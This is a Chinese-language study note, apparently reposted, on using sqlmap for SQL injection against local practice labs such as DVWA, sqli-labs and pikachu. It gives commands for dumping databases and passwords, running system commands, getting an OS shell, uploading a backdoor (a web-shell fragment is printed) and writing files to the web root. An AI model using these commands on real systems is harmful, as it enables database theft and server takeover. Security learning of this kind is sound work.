【SQL注入】之SQLMAP工具的使用


(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

 

一、介紹

1.SQL注入工具:明小子、啊D、羅卜頭、穿山甲、SQLMAP等等

2.SQLMAP:使用python開發,開源自動化注入利用工具,支持12種數據庫 ,在/plugins/dbms中可以看到支持的數據庫種類,在所有注入利用工具中它是最好用的!!!

3.支持的注入類型:bool、time、報錯、union、堆查詢、內聯

4.功能:

  • 可以獲取用戶名、密碼、權限、角色、數據庫(表、字段、內容)
  • 可以爆破識別密文數據
  • getshell(反彈shell)
  • 命令執行
  • 脫庫或刪庫

 

二、SQLMAP的目錄介紹:

目錄 介紹
doc 介紹文檔
extra sqlmap額外的功能,運行cmd、執行命令
lib sqlmap 的核心功能代碼
plugins 包含12種數據庫的識別程序
data 存放一些攻擊過程種使用的工具或者命令
/data/procs 包含了mssql、mysql、oracle、postgresql這四種數據庫的觸發程序
/data/shell 遠程命令、后門
/data/txt 表名、列名、UA字典
/data/udf 存放攻擊載荷(payload)
/data/XML 存放檢測腳本(payload)
tamper 包含各種繞過WAF的處理腳本
thirdparty 包含第三方插件,如顏色、優化等等
waf 識別WAF的腳本

 

三、SQLMAP的工作流程

1.初始化

1 salmap -v  查看版本
2 salmap --update  更新

2.開始檢測

  • 檢測之前是否注入過(會把當前檢測URL 默認存放在用戶家目錄中.sqlmap下的output),使用--output-dir可指定存放的目錄
  • 解析URL,判斷URL是否可訪問
  • 檢測是否有WAF
sqlmap -u "目標url" --identify-waf
sqlmap -u "目標url" --check-waf
  • 執行用戶輸入的參數
 1 -u  指定URL
 2 -p  指定參數
 3 -v  指定顯示級別
 4 --dbs  目標服務器中的數據庫
 5 --current-db  當前數據庫
 6 --tables  目標數據庫有什么表
 7 --columns  目標表中有什么列
 8 --dump  獲取數據
 9 --batch  跳過問詢(yes)之間執行,批處理,在檢測過程中會問用戶一些問題,使用這個參數統統使用默認值
10 --dbms  指定數據庫類型
11 --current-user  查看當前用戶
12 --users  查看所有用戶
13 --passwords  數據庫密碼
14 --hostname  系統名稱
15 --banner  數據庫信息
16 --roles  數據庫用戶角色
17 等等

 

四、步驟詳解

  • GET型注入的SQLMAP利用方法:

1.判斷是否有注入點

sqlmap -u "目標url"
  • 當看到探測的結果中有沒有環境參數(系統類型和數據庫類型),則表明有注入

2.查看所有數據庫

1 sqlmap -u "目標_url" --dbs --dbms mysql
2     --dbms=DBMS 指定目標數據庫類型

3.獲取當前數據庫

sqlmap -u "目標_url" --current-db --dbms mysql

4.獲取當前數據庫下表

 1 sqlmap -u "目標_url" -D 庫名 --dbms mysql --tables --batch -v
 2     -D DB 指定從某個數據庫查詢數據
 3     -v 顯示信息的級別,一共有六級:
 4         0:只顯示python 錯誤和一些嚴重信息
 5         1:顯示基本信息(默認)
 6         2:顯示debug信息
 7         3:顯示注入過程的payload
 8         4:顯示http請求包
 9         5:顯示http響應頭
10         6:顯示http相應頁面    

5.獲取當前數據庫中指定表下的字段

1 sqlmap -u "目標url" -D 庫名 -T 表名 --columns
2     -T TBL 指定從某個表查詢數據

6.獲取指定字段對應的數據內容

1 sqlmap -u "目標url" -D 庫名 -T 表名 -C 字段名1,字段名2,等等 --dump
2     -C COL 指定從某個列查詢數據
3     --dump 查詢指定范圍的全部數據
4         (對加密的密碼進行彩虹表攻擊)

 

五、SQLMAP工具測試

  • GET型 ,測試使用DVWA中的SQL Injection模塊(Low級別)

1.檢測是否有注入點

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

  • 翻譯(注入過程中詢問的內容)

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未聲明cookie,而服務器希望設置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

  • 由上圖可知,結果是跳轉到登錄頁面,是需要帶cookie的,查到session為nh9elbltn3coe0kgvdnq1l6755在地址欄種輸入javascript:alert(document.cookie)查詢cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
  • POST型注入的SQLMAP利用方法(這種方式GET型數據也可利用):

1.攔截數據包

2.將攔截到的數據包保存在post.txt文件里

  • 右鍵空白處,選擇Cope to file

3.查看post.txt的內容

4.使用SQLMAP進行檢測

1 python sqlmap.py -r C:\Users\admin\Desktop\post.txt -p "uname" --batch
2     -r  讀取指定的文件
3     -p  告訴SQLMAP測試哪個參數

 

六、cookie 注入

1.介紹:數據經過cookie發送給服務器,cookie可以傳輸參數,並且有注入點

2.cookie型注入利用方法(測試使用sqli-labs第20關):

  • 抓取的數據包來源於下面的界面

  • 將抓取到的數據包發送到Repeater模塊中,Go一下,查看回顯

  • 檢測注入點

  • 將此數據包保存在post_cookie.txt文件里(這個數據類型是GET型,當時寫錯了)

  • 使用SQLMAP進行檢測
python sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --cookie "uname=12" --level 2
    --level=LEVEL  執行測試的等級(1-5,默認是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件內可以看見各個level發送的payload)
或sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --level 2

    • 從回顯中可以看到,SQLMAP自動將獲取到的數據記錄到了一個目錄下,進入到該目錄下的127.0.0.1中,該目錄下的log記錄的檢查出的結果

 

七、XFF注入

  • 注入基本過程(方法與cookie注入類似)

1.攔包

2.使用SQLMAP檢查注入點

  • GET型數據:
sqlmap -u “目標URL” -p “x-forwarded-for” -level 3
  • POST型數據:
sqlmap -r post_xff.txt --level 3

 

八、UA注入

  • 測試使用sqli-labs第18關
  • 注入基本過程(方法與cookie注入類似)

1.攔包

2.使用SQLMAP檢查注入點

  • GET型數據:
sqlmap -u “目標URL” -p “user-agent” -level 3 
  • POST型數據:
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch
2   --dbms  指定目標數據庫類型
3 sqlmap -r post_ua.txt --level 3 --current-user
4   --current-user  查看當前用戶

 

九、SQLMAP注入點執行系統命令或交互式shell

1.條件:

  • 數據庫有讀寫文件的權限
  • 需要知道WEB站點的路徑(可使用select @@datadir)

2.使用SQLMAP執行系統命令

1 sqlmap.py -u “目標URL” --os-cmd=ipconfig
2     --os-cmd=OSCMD 執行一句系統命令
3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig  執行系統命令ipconfig
4 sqlmap -r post_ua.txt --level 3 --os-shell  獲取系統的shell
5 sqlmap -r post_ua.txt --level 3 --is-dba  判斷當前用戶是否為管理員

 

十、延時注入

1 sqlmap.py -u "目標url"  --delay 2
2     --delay 2 延時2S注入

 

十一、執行數據庫命令

  • 命令:
1 --sql-query=QUERY  執行一個sql語句
2 --sql-shell 創建一個sql的shell(獲取一個交互式的數據庫終端)
3 --sql-file=SQLFILE  執行一個給定文件中的sql語句
  • 注入利用:
    • 測試使用pikachu里的sqli中字符型注入(需要在Github中查找資源並搭建)

1.瀏覽網站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

2.使用SQLMAP檢測注入點

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" --batch

3.根據回顯存在注入點,使用SQLMAP執行數據庫命令

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-cmd=whoami
  • 在下圖紅框內可以看到系統命令被正常執行

    • 翻譯(注入過程中詢問的內容):

Web服務器支持哪種Web應用程序語言?

[1]asp

[2]ASPX

[3]jsp

[4]php(默認)

>4

是否希望sqlmap進一步嘗試觸發完整路徑泄漏?[是/否]是

[21:34:02][警告]無法自動檢索Web服務器文檔根目錄

要將什么用於可寫目錄?

[1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默認)

[2]自定義位置

[3]自定義目錄列表文件

[4]蠻力搜索

>2

是否要檢索命令標准輸出?[是/否/否]是

命令標准輸出:“desktop-18q770s\admin”

請提供一個逗號分隔的絕對目錄路徑列表:f:\phpstudy_64\phpstudy_Pro\www//路徑需要自己輸入

4.獲取一個交互式的數據庫終端

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-shell

  • 在注入過程中會自動生成后門文件

    • 翻譯:

[21:40:33][info]文件暫存器已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

[21:40:33][info]后門已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

    • 在瀏覽器中兩個文件訪問查看效果

      • http://127.0.0.1/tmpupjuy.php   輔助工具,用來上傳木馬

      • http://127.0.0.1/tmpbaqhn.php 木馬

        •  其內容為:
<?php $c=$_REQUEST["cmd"];
        • 瀏覽http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

 

十二、SQLMAP 直連mysql數據庫

1 python sqlmap.py -d "mysql://root:root@目標IP:3306/mysql" -f --banner --dbs --users
2     -f, --fingerprint  指紋信息,返回DBMS,操作系統,架構,補丁等信息
3     --hostname  獲取系統信息
4     --banner  獲取數據庫信息
5     --roles  獲取數據庫用戶角色

 

十三、sqlmap注入利用Access

1.Access數據庫:沒有庫的概念,打開數據庫文件看到只有表和字段以及內容

2.Access注入過程(注意其特性,只有表和表下的字段內容):

  • 先探測注入點
  • 獲取數據庫表
sqlmap.py -u "目標url" --tables  獲取所有的數據表
  • 獲取字段
sqlmap.py -u "目標url" -T 表名 --columns  獲取字段
  • 獲取字段內容
sqlmap.py -u "目標url" -T 表名 -C 字段名 --dump  獲取字段內容

 

十四、SQLMAP結合BP日志進行被動式注入發現

  • 測試在pikachu里的sqli中數字型注入

1.開啟BP2.1的日志記錄功能,並將日志內容保存到桌面log.txt中

  • 勾選后會彈出下面的窗口,我選擇的是已經建好的文件log.txt,彈出警告,選擇Yes即可

2.抓包

3.在瀏覽器中多進行幾次提交,需要提前關閉BP中的Intercept is on,然后打開log.txt,瀏覽器提交的數據全部進入到了log.txt中

4.使用SQLMAP進行檢測

1 sqlmap.py -l C:\Users\admin\Desktop\log.txt --batch
2     -l 后接一個log文件,可以是burp等的代理的log文件,之后sqlmap會掃描log中的所有記錄

  • 翻譯(最后一句):

您可以在csv文件“c:\ users\admin\appdata\local\sqlmap\output\results-10302019_1119pm.csv”中找到以多目標模式掃描的結果。

5.打開results-10302019_1119pm.csv文件,可知該URL中存在的注入類型

(Parameter:參數  Technique:技術)

  • SQLMAP指定測試注入的技術:
1 python sqlmap.py -u “目標URL” -dbms mysql --technique=T
2     --technique=TECH 指定所使用的技術(B:布爾盲注;E:報錯注入;U:聯合查詢注入;S:文件系統,操作系統,注冊表相關注入;T:時間盲注; 默認全部使用)
3         B: Boolean-based blind SQL injection(布爾型注入)
4         E: Error-based SQL injection(報錯型注入)
5         U: UNION query SQL injection(可聯合查詢注入)
6         S: Stacked queries SQL injection(可多語句查詢注入)
7         T: Time-based blind SQL injection(基於時間延遲注入)
8         Q: inline_query SQL injection(內聯注入)

 

十五、SQLMAP讀寫文件

  • 命令:
1 --file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)
2 --file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)
3 --file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑
  • 測試使用pikachu里的sqli中字符型注入

1.使用SQLMAP讀文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-read="F:\phpStudy_64\phpstudy_pro\WWW\PDO_kuanjiezi.php"

  • 譯:

正在獲取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

是否確認已從后端DBMS文件系統成功下載遠程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

[23:57:05][info]本地文件'c:\ users\admin\appdata\local\sqlmap\output\127.0.0.1\files\f_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和遠程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

文件保存到[1]:

C:\Users\admin\AppData\Local\sqlmap\output\127.0.0.1\files

[23:57:05][info]獲取的數據記錄到文本文件中,位於“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”

  •  進入C:\users\admin\appdata\local\sqlmap\output\127.0.0.1目錄下,里面有讀取到的文件的記錄,使用SQLMAP讀取文件成功

2.使用SQLMAP寫文件

  • 新建log.txt文件,並寫入以下內容

  • 使用SQLMAP寫文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-dest="F:\phpStudy_64\phpstudy_pro\WWW\loglog.php(目標服務器中的文件,絕對路徑)" --file-write="C:\Users\admin\Desktop\log.txt(攻擊者電腦中的文件路徑)"

    • 翻譯:

是否要確認本地文件“c:/users/admin/desktop/log.txt”已成功寫入后端DBMS文件系統(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

[00:08:58][info]遠程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

[00:08:58][info]獲取的數據記錄到文本文件中,位於“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下

  • 使用WinHex打開F:/phpstudy_64/phpstudy_Pro/www/loglog.php

  • 使用瀏覽器進行訪問,可以看到使用SQLMAP寫入文件成功

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM